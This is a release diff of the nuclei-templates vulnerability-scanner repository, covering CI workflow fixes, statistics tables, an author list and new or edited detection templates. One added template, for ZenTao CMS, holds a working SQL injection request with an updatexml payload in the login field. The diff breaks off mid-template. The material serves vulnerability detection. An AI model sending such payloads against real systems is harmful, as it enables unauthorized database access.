Merge pull request #6382 from projectdiscovery/release-prep

Templates Release
Auto Generated New Template Addition List [Mon Dec 19 10:57:35 UTC 2022] 🤖
2026-11-07 08:36:19 -10:00 · 2022-12-19 16:27:46 +05:30 · 2022-12-19 10:57:35 +00:00 · 2022-12-18 13:13:56 +05:30 · 2022-12-18 13:03:50 +05:30 · 2022-12-17 04:34:10 +05:30
2221 changed files with 42868 additions and 8260 deletions
@@ -15,12 +15,12 @@ jobs:
      - name: Get Github tag
        id: meta
        run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

      - name: Setup CVE annotate
-        if: steps.meta.outputs.tag != ''
+        if: steps.meta.outputs.TAG != ''
        env:
-          VERSION: ${{ steps.meta.outputs.tag }}
+          VERSION: ${{ steps.meta.outputs.TAG }}
        run: |
          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
          sudo unzip cve-annotate.zip -d /usr/local/bin
@@ -30,10 +30,10 @@ jobs:
        id: cve-annotate
        run: |
          cve-annotate -i . -d .
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT

      - name: Commit files
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
@@ -42,7 +42,7 @@ jobs:
          git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a

      - name: Push changes
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -30,17 +30,17 @@ jobs:
        id: readme-update
        run: |
          python .github/scripts/update-readme.py
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT

      - name: Commit files
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
        run: |
          git config --local user.email "[email protected]"
          git config --local user.name "GitHub Action"
          git commit -m "Auto README Update [$(date)] :robot:" -a

      - name: Push changes
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
        uses: ad-m/github-push-action@master
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
@@ -0,0 +1,38 @@
+name: 📝 Template Checksum
+
+on:
+  push:
+    tags:
+      - '*'
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.18
+
+      - name: install checksum generator
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v2/cmd/generate-checksum@dev
+
+      - name: generate checksum
+        run: |
+          generate-checksum /home/runner/work/nuclei-templates/nuclei-templates/ templates-checksum.txt
+
+      - name: Commit files
+        run: |
+          git pull
+          git add templates-checksum.txt
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated Templates Checksum [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master
@@ -14,7 +14,7 @@ jobs:
        with:
          go-version: 1.17

-      - name: Intalling Indexer
+      - name: Installing Indexer
        run: |
          git config --global url."https://${{ secrets.ACCESS_TOKEN }}@github".insteadOf https://github
          git clone https://github.com/projectdiscovery/nucleish-api.git
@@ -26,4 +26,4 @@ jobs:
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
-          generate-index -mode templates
+          generate-index -mode templates
@@ -11,12 +11,12 @@ jobs:
      - name: Get Github tag
        id: meta
        run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+          curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name | xargs -I {} echo TAG={} >> $GITHUB_OUTPUT

      - name: Setup Nuclei
-        if: steps.meta.outputs.tag != ''
+        if: steps.meta.outputs.TAG != ''
        env:
-          VERSION: ${{ steps.meta.outputs.tag }}
+          VERSION: ${{ steps.meta.outputs.TAG }}
        run: |
          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
          sudo unzip nuclei*.zip -d /usr/local/bin
@@ -13,7 +13,7 @@ jobs:
      - uses: actions/checkout@master
      - uses: actions/setup-go@v2
        with: 
-          go-version: 1.17
+          go-version: 1.18

      - name: Installing Template Stats
        run: |
@@ -37,10 +37,10 @@ jobs:

      - name: Get statistical changes
        id: stats
-        run: echo "::set-output name=changes::$(git status -s | wc -l)"
+        run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT

      - name: Commit files
-        if: steps.stats.outputs.changes > 0
+        if: steps.stats.outputs.CHANGES > 0
        run: |
          git add TEMPLATES-STATS.*
          git add TOP-10.md
@@ -1,45 +1,57 @@
-cves/2008/CVE-2008-1061.yaml
-cves/2015/CVE-2015-4127.yaml
-cves/2018/CVE-2018-20463.yaml
-cves/2018/CVE-2018-20526.yaml
-cves/2019/CVE-2019-20933.yaml
-cves/2020/CVE-2020-10973.yaml
-cves/2020/CVE-2020-12478.yaml
-cves/2021/CVE-2021-42627.yaml
-cves/2021/CVE-2021-43734.yaml
-cves/2022/CVE-2022-0150.yaml
-cves/2022/CVE-2022-0220.yaml
-cves/2022/CVE-2022-0928.yaml
-cves/2022/CVE-2022-1391.yaml
-cves/2022/CVE-2022-29272.yaml
-cves/2022/CVE-2022-29349.yaml
-cves/2022/CVE-2022-34045.yaml
-cves/2022/CVE-2022-35151.yaml
-cves/2022/CVE-2022-37153.yaml
-cves/2022/CVE-2022-38463.yaml
-exposed-panels/avideo-install.yaml
-exposed-panels/ez-publish-panel.yaml
-exposed-panels/fiori-launchpad.yaml
-exposed-panels/gargoyle-router.yaml
-exposed-panels/ipdiva-mediation-panel.yaml
-exposed-panels/kkfileview-panel.yaml
-exposed-panels/nagvis-panel.yaml
-exposed-panels/nconf-panel.yaml
-exposed-panels/openvz-web-login.yaml
-exposed-panels/phpminiadmin-panel.yaml
-exposed-panels/roxy-fileman.yaml
-exposed-panels/star-network-utility.yaml
-exposed-panels/syncthru-web-service.yaml
-exposed-panels/teampass-panel.yaml
-exposed-panels/zimbra-web-login.yaml
-exposures/configs/django-variables-exposed.yaml
-exposures/configs/magento-config-disclosure.yaml
-iot/novus-ip-camera.yaml
-misconfiguration/roxyfileman-fileupload.yaml
-misconfiguration/springboot/springboot-liquidbase.yaml
-technologies/avideo-detect.yaml
-technologies/openethereum-server-detect.yaml
-vulnerabilities/gnuboard/gnuboard5-rxss.yaml
-vulnerabilities/gnuboard/gnuboard5-xss.yaml
-workflows/azure-workflow.yaml
-workflows/emerge-workflow.yaml
+cves/2019/CVE-2019-6802.yaml
+cves/2021/CVE-2021-20323.yaml
+cves/2021/CVE-2021-24827.yaml
+cves/2021/CVE-2021-25099.yaml
+cves/2022/CVE-2022-0826.yaml
+cves/2022/CVE-2022-0948.yaml
+cves/2022/CVE-2022-1595.yaml
+cves/2022/CVE-2022-2314.yaml
+cves/2022/CVE-2022-4050.yaml
+cves/2022/CVE-2022-45917.yaml
+default-logins/apache/karaf-default-login.yaml
+default-logins/lutron/lutron-default-login.yaml
+exposed-panels/aircube-dashboard-panel.yaml
+exposed-panels/gyra-master-admin.yaml
+exposed-panels/ilias-panel.yaml
+exposed-panels/mag-dashboard-panel.yaml
+exposed-panels/microfocus-admin-server.yaml
+exposed-panels/netris-dashboard-panel.yaml
+exposed-panels/planet-estream-panel.yaml
+exposed-panels/spark-panel.yaml
+exposed-panels/verizon-router-panel.yaml
+exposures/configs/config-json.yaml
+exposures/configs/golangci-config.yaml
+exposures/configs/stestr-config.yaml
+exposures/configs/websheets-config.yaml
+exposures/files/database-credentials.yaml
+exposures/files/gradle-libs.yaml
+exposures/files/kubernetes-etcd-keys.yaml
+exposures/files/routes-ini.yaml
+exposures/files/salesforce-credentials.yaml
+exposures/files/svn-wc-db.yaml
+exposures/logs/badarg-log.yaml
+exposures/logs/firebase-debug-log.yaml
+exposures/logs/npm-debug-log.yaml
+exposures/logs/production-log.yaml
+iot/homeworks-illumination.yaml
+miscellaneous/sitemap-detect.yaml
+misconfiguration/installer/easyscripts-installer.yaml
+misconfiguration/installer/metaview-explorer-installer.yaml
+misconfiguration/unauth-mautic-upgrade.yaml
+misconfiguration/unauth-zwave-mqtt.yaml
+misconfiguration/vernemq-status-page.yaml
+network/detection/cisco-finger-detect.yaml
+network/detection/finger-detect.yaml
+network/detection/mysql-detect.yaml
+network/detection/redis-detect.yaml
+network/detection/rpcbind-portmapper-detect.yaml
+takeovers/leadpages-takeover.yaml
+technologies/apache/apache-karaf-panel.yaml
+technologies/icecast-server-detect.yaml
+technologies/mikrotik-httpproxy.yaml
+technologies/pagespeed-detect.yaml
+vulnerabilities/nps/nps-auth-bypass.yaml
+vulnerabilities/qibocms-file-download.yaml
+vulnerabilities/vmware/vmware-nsx-stream-rce.yaml
+vulnerabilities/zend/zend-v1-xss.yaml
+vulnerabilities/zyxel/unauth-lfd-zhttpd.yaml
@@ -16,8 +16,23 @@ tags:
  - "fuzz"
  - "dos"

+# The following templates have been excluded because they have weak matchers and may generate FP results.
+# Please feel free to create PR if you can update the templates with strict matchers.
+
 # files is a list of files to ignore template execution
 # unless asked for by the user.

-# files:
-#  - cves/2020/CVE-2020-35489.yaml
+files:
+  - cves/2006/CVE-2006-1681.yaml
+  - cves/2007/CVE-2007-5728.yaml
+  - cves/2014/CVE-2014-9608.yaml
+  - cves/2018/CVE-2018-5233.yaml
+  - cves/2019/CVE-2019-14696.yaml
+  - cves/2020/CVE-2020-11930.yaml
+  - cves/2020/CVE-2020-19295.yaml
+  - cves/2020/CVE-2020-2036.yaml
+  - cves/2020/CVE-2020-28351.yaml
+  - cves/2021/CVE-2021-35265.yaml
+  - vulnerabilities/generic/basic-xss-prober.yaml
+  - vulnerabilities/oracle/oracle-ebs-xss.yaml
+  - vulnerabilities/other/nginx-module-vts-xss.yaml
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1363 | daffainfo     |   629 | cves             |  1336 | info     |  1433 | http    |  3740 |
-| panel     |   627 | dhiyaneshdk   |   551 | exposed-panels   |   635 | high     |   971 | file    |    76 |
-| lfi       |   497 | pikpikcu      |   325 | vulnerabilities  |   524 | medium   |   804 | network |    51 |
-| xss       |   467 | pdteam        |   269 | technologies     |   276 | critical |   462 | dns     |    17 |
-| wordpress |   417 | geeknik       |   187 | exposures        |   272 | low      |   220 |         |       |
-| exposure  |   389 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
-| cve2021   |   340 | 0x_akoko      |   158 | misconfiguration |   215 |          |       |         |       |
-| rce       |   333 | princechaddha |   150 | workflows        |   187 |          |       |         |       |
-| wp-plugin |   312 | pussycat0x    |   133 | default-logins   |   102 |          |       |         |       |
-| tech      |   288 | gy741         |   126 | file             |    76 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |

-**293 directories, 4110 files**.
+**321 directories, 4736 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1363},{"name":"panel","count":627},{"name":"lfi","count":497},{"name":"xss","count":467},{"name":"wordpress","count":417},{"name":"exposure","count":389},{"name":"cve2021","count":340},{"name":"rce","count":333},{"name":"wp-plugin","count":312},{"name":"tech","count":288},{"name":"token-spray","count":230},{"name":"cve2020","count":208},{"name":"","count":192},{"name":"cve2022","count":154},{"name":"config","count":147},{"name":"cve2018","count":141},{"name":"unauth","count":140},{"name":"cve2019","count":133},{"name":"joomla","count":132},{"name":"kev","count":131},{"name":"apache","count":122},{"name":"default-login","count":117},{"name":"iot","count":114},{"name":"wp","count":112},{"name":"oast","count":112},{"name":"cve2010","count":111},{"name":"sqli","count":89},{"name":"login","count":87},{"name":"misconfig","count":85},{"name":"redirect","count":84},{"name":"router","count":83},{"name":"authenticated","count":80},{"name":"takeover","count":73},{"name":"token","count":72},{"name":"devops","count":71},{"name":"ssrf","count":69},{"name":"cve2017","count":65},{"name":"file","count":60},{"name":"oracle","count":57},{"name":"auth-bypass","count":55},{"name":"network","count":54},{"name":"cms","count":52},{"name":"disclosure","count":52},{"name":"cisco","count":47},{"name":"cve2016","count":47},{"name":"google","count":46},{"name":"plugin","count":40},{"name":"cve2014","count":39},{"name":"cve2015","count":39},{"name":"oss","count":39},{"name":"logs","count":35},{"name":"vmware","count":35},{"name":"atlassian","count":34},{"name":"injection","count":34},{"name":"traversal","count":32},{"name":"jira","count":31},{"name":"listing","count":31},{"name":"generic","count":28},{"name":"intrusive","count":28},{"name":"kubernetes","count":27},{"name":"springboot","count":27},{"name":"dns","count":27},{"name":"adobe","count":25},{"name":"log4j","count":25},{"name":"cnvd","count":24},{"name":"sap","count":24},{"name":"microsoft","count":23},{"name":"proxy","count":23},{"name":"jndi","count":22},{"name":"debug","count":22},{"name":"misc","count":21},{"name":"aem","count":21},{"name":"wp-theme","count":21},{"name":"manageengine","count":21},{"name":"fuzz","count":20},{"name":"cve2012","count":20},{"name":"weblogic","count":19},{"name":"zoho","count":19},{"name":"tomcat","count":19},{"name":"php","count":19},{"name":"fileupload","count":18},{"name":"ibm","count":18},{"name":"api","count":18},{"name":"service","count":18},{"name":"k8s","count":18},{"name":"deserialization","count":18},{"name":"aws","count":17},{"name":"camera","count":17},{"name":"jenkins","count":17},{"name":"cloud","count":17},{"name":"dlink","count":17},{"name":"cicd","count":16},{"name":"struts","count":16},{"name":"cve2009","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"firewall","count":15},{"name":"gitlab","count":15},{"name":"domainmod","count":14},{"name":"java","count":14},{"name":"hp","count":14},{"name":"wavlink","count":14},{"name":"android","count":14},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"ruijie","count":13},{"name":"printer","count":13},{"name":"netsweeper","count":12},{"name":"status","count":12},{"name":"netgear","count":12},{"name":"ftp","count":12},{"name":"nginx","count":12},{"name":"magento","count":12},{"name":"confluence","count":12},{"name":"rails","count":12},{"name":"lfr","count":12},{"name":"upload","count":12},{"name":"drupal","count":11},{"name":"cisa","count":11},{"name":"glpi","count":11},{"name":"woocommerce","count":11},{"name":"graphql","count":11},{"name":"cnvd2021","count":11},{"name":"azure","count":11},{"name":"microweber","count":10},{"name":"github","count":10},{"name":"grafana","count":10},{"name":"jolokia","count":10},{"name":"fortigate","count":10},{"name":"zyxel","count":10},{"name":"dell","count":10},{"name":"coldfusion","count":10},{"name":"airflow","count":10},{"name":"spring","count":10},{"name":"backup","count":10},{"name":"webserver","count":9},{"name":"dedecms","count":9},{"name":"ruby","count":9},{"name":"cve2008","count":9},{"name":"fortinet","count":9},{"name":"iis","count":9},{"name":"prometheus","count":9},{"name":"fastjson","count":9},{"name":"auth","count":9},{"name":"zabbix","count":9},{"name":"backdoor","count":9},{"name":"mirai","count":9},{"name":"django","count":9},{"name":"vcenter","count":9},{"name":"phpmyadmin","count":9},{"name":"windows","count":9},{"name":"wso2","count":9},{"name":"laravel","count":9},{"name":"kube","count":9},{"name":"scada","count":8},{"name":"kafka","count":8},{"name":"amazon","count":8},{"name":"solr","count":8},{"name":"ssti","count":8},{"name":"elasticsearch","count":8},{"name":"sonicwall","count":8},{"name":"jboss","count":8},{"name":"headless","count":8},{"name":"citrix","count":8},{"name":"cisco-switch","count":8},{"name":"blind","count":8},{"name":"vpn","count":8},{"name":"metadata","count":8},{"name":"git","count":8},{"name":"config-audit","count":8},{"name":"audLine truncated
+{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1363 | daffainfo     |   629 | cves             |  1336 | info     |  1433 | http    |  3740 |
-| panel     |   627 | dhiyaneshdk   |   551 | exposed-panels   |   635 | high     |   971 | file    |    76 |
-| lfi       |   497 | pikpikcu      |   325 | vulnerabilities  |   524 | medium   |   804 | network |    51 |
-| xss       |   467 | pdteam        |   269 | technologies     |   276 | critical |   462 | dns     |    17 |
-| wordpress |   417 | geeknik       |   187 | exposures        |   272 | low      |   220 |         |       |
-| exposure  |   389 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
-| cve2021   |   340 | 0x_akoko      |   158 | misconfiguration |   215 |          |       |         |       |
-| rce       |   333 | princechaddha |   150 | workflows        |   187 |          |       |         |       |
-| wp-plugin |   312 | pussycat0x    |   133 | default-logins   |   102 |          |       |         |       |
-| tech      |   288 | gy741         |   126 | file             |    76 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
@@ -1,11 +1,13 @@
 id: CNVD-2017-03561

 info:
-  name: Panwei e-mobile - Ognl Injection
+  name: Panwei eMobile - OGNL Injection
  author: ritikchaddha
  severity: high
+  description: Panwei eMobile contains an object graph navigation library vulnerability. An attacker can inject arbitrary JavaScript, thus possibly obtaining sensitive information from a database, modifying data, and executing unauthorized administrative operations in the context of the affected site.
  reference:
    - https://gitee.com/cute-guy/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3%A8%E5%85%A5.md
+    - https://reconshell.com/vulnerability-research-list/
  metadata:
    verified: true
    fofa-query: app="泛微-eMobile"
@@ -32,3 +34,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -18,7 +18,7 @@ requests:
    path:
      - '{{BaseURL}}/include/thumb.php?dir=http\..\admin\login\login_check.php'

-    redirects: true
+    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
@@ -3,7 +3,7 @@ id: CNVD-2020-23735
 info:
  name: Xxunchi CMS - Local File Inclusion
  author: princechaddha
-  severity: medium
+  severity: high
  description: Xunyou CMS is vulnerable to local file inclusion. Attackers can use vulnerabilities to obtain sensitive information.
  reference:
    - https://www.cnvd.org.cn/flaw/show/2025171
@@ -1,11 +1,13 @@
 id: CNVD-2020-56167

 info:
-  name: Ruijie Smartweb Default Password
+  name: Ruijie Smartweb - Default Password
  author: pikpikcu
  severity: low
+  description: Ruijie Smartweb contains a vulnerability via the default password. An attacker can successfully bypass entering required credentials, thus possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
+    - https://securityforeveryone.com/tools/ruijie-smartweb-default-password-scanner
  tags: ruijie,default-login,cnvd,cnvd2020

 requests:
@@ -28,3 +30,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/09/30
@@ -1,12 +1,14 @@
 id: CNVD-2021-09650

 info:
-  name: Ruijie EWEB Gateway Platform - Remote Command Injection
-  author: daffainfo
+  name: Ruijie Networks-EWEB Network Management System - Remote Code Execution
+  author: daffainfo,pikpikcu
  severity: critical
  description: Ruijie EWEB Gateway Platform is susceptible to remote command injection attacks.
  reference:
    - http://j0j0xsec.top/2021/04/22/%E9%94%90%E6%8D%B7EWEB%E7%BD%91%E5%85%B3%E5%B9%B3%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
+    - https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py
+    - https://www.ruijienetworks.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
@@ -3,7 +3,7 @@ id: CNVD-2021-30167
 info:
  name: UFIDA NC BeanShell Remote Command Execution
  author: pikpikcu
-  severity: high
+  severity: critical
  description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  reference:
    - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
@@ -13,7 +13,7 @@ info:
    cvss-score: 9.9
    cwe-id: CWE-434
  remediation: Pan Wei has released an update to resolve this vulnerability.
-  tags: pan,micro,cnvd,cnvd2021
+  tags: pan,micro,cnvd,cnvd2021,fileupload,intrusive

 requests:
  - raw:
@@ -0,0 +1,41 @@
+id: CNVD-2022-42853
+
+info:
+  name: ZenTao CMS - SQL Injection
+  author: ling
+  severity: critical
+  description: |
+    ZenTao CMS contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://github.com/z92g/ZentaoSqli/blob/master/CNVD-2022-42853.go
+    - https://www.cnvd.org.cn/flaw/show/CNVD-2022-42853
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10.0
+    cwe-id: CWE-89
+  metadata:
+    verified: true
+    shodan-query: http.title:"zentao"
+    fofa-query: "Zentao"
+  tags: cnvd,cnvd2022,zentao,sqli
+
+variables:
+  num: "999999999"
+
+requests:
+  - raw:
+      - |
+        POST /zentao/user-login.html HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{BaseURL}}/zentao/user-login.html
+
+        account=admin'+and++updatexml(1,concat(0x1,md5({{num}})),1)+and+'1'='1
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'c8c605999f3d8352d7bb792cf3fdb25'
+
+# Enhanced by mp on 2022/09/28
@@ -9,6 +9,16 @@
            "email": ""
        }
    },
+    {
+        "author": "0x08",
+        "links": {
+            "github": "https://github.com/its0x08",
+            "twitter": "",
+            "linkedin": "",
+            "website": "",
+            "email": ""
+        }
+    },
    {
        "author": "Dhiyaneshwaran",
        "links": {
@@ -1358,5 +1368,16 @@
            "website": "",
            "email": ""
        }
+    },
+    {
+        "author": "heywoodlh",
+        "links": {
+            "github": "https://www.github.com/heywoodlh",
+            "twitter": "",
+            "linkedin": "",
+            "website": "https://the-empire.systems",
+            "email": ""
+        }
    }
+
 ]
@@ -10,12 +10,12 @@ info:
    - https://www.exploit-db.com/exploits/5194
    - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
    - https://nvd.nist.gov/vuln/detail/CVE-2008-1059
-    - http://secunia.com/advisories/29099
+    - https://web.archive.org/web/20090615225856/http://secunia.com/advisories/29099/
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2008-1061
-    cwe-id: CWE-22
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
+    cvss-score: 7.2
+    cve-id: CVE-2008-1059
+    cwe-id: CWE-79
  tags: lfi,cve,cve2008,wordpress,wp-plugin,wp,sniplets,edb,wpscan

 requests:
@@ -1,16 +1,21 @@
 id: CVE-2008-1061

 info:
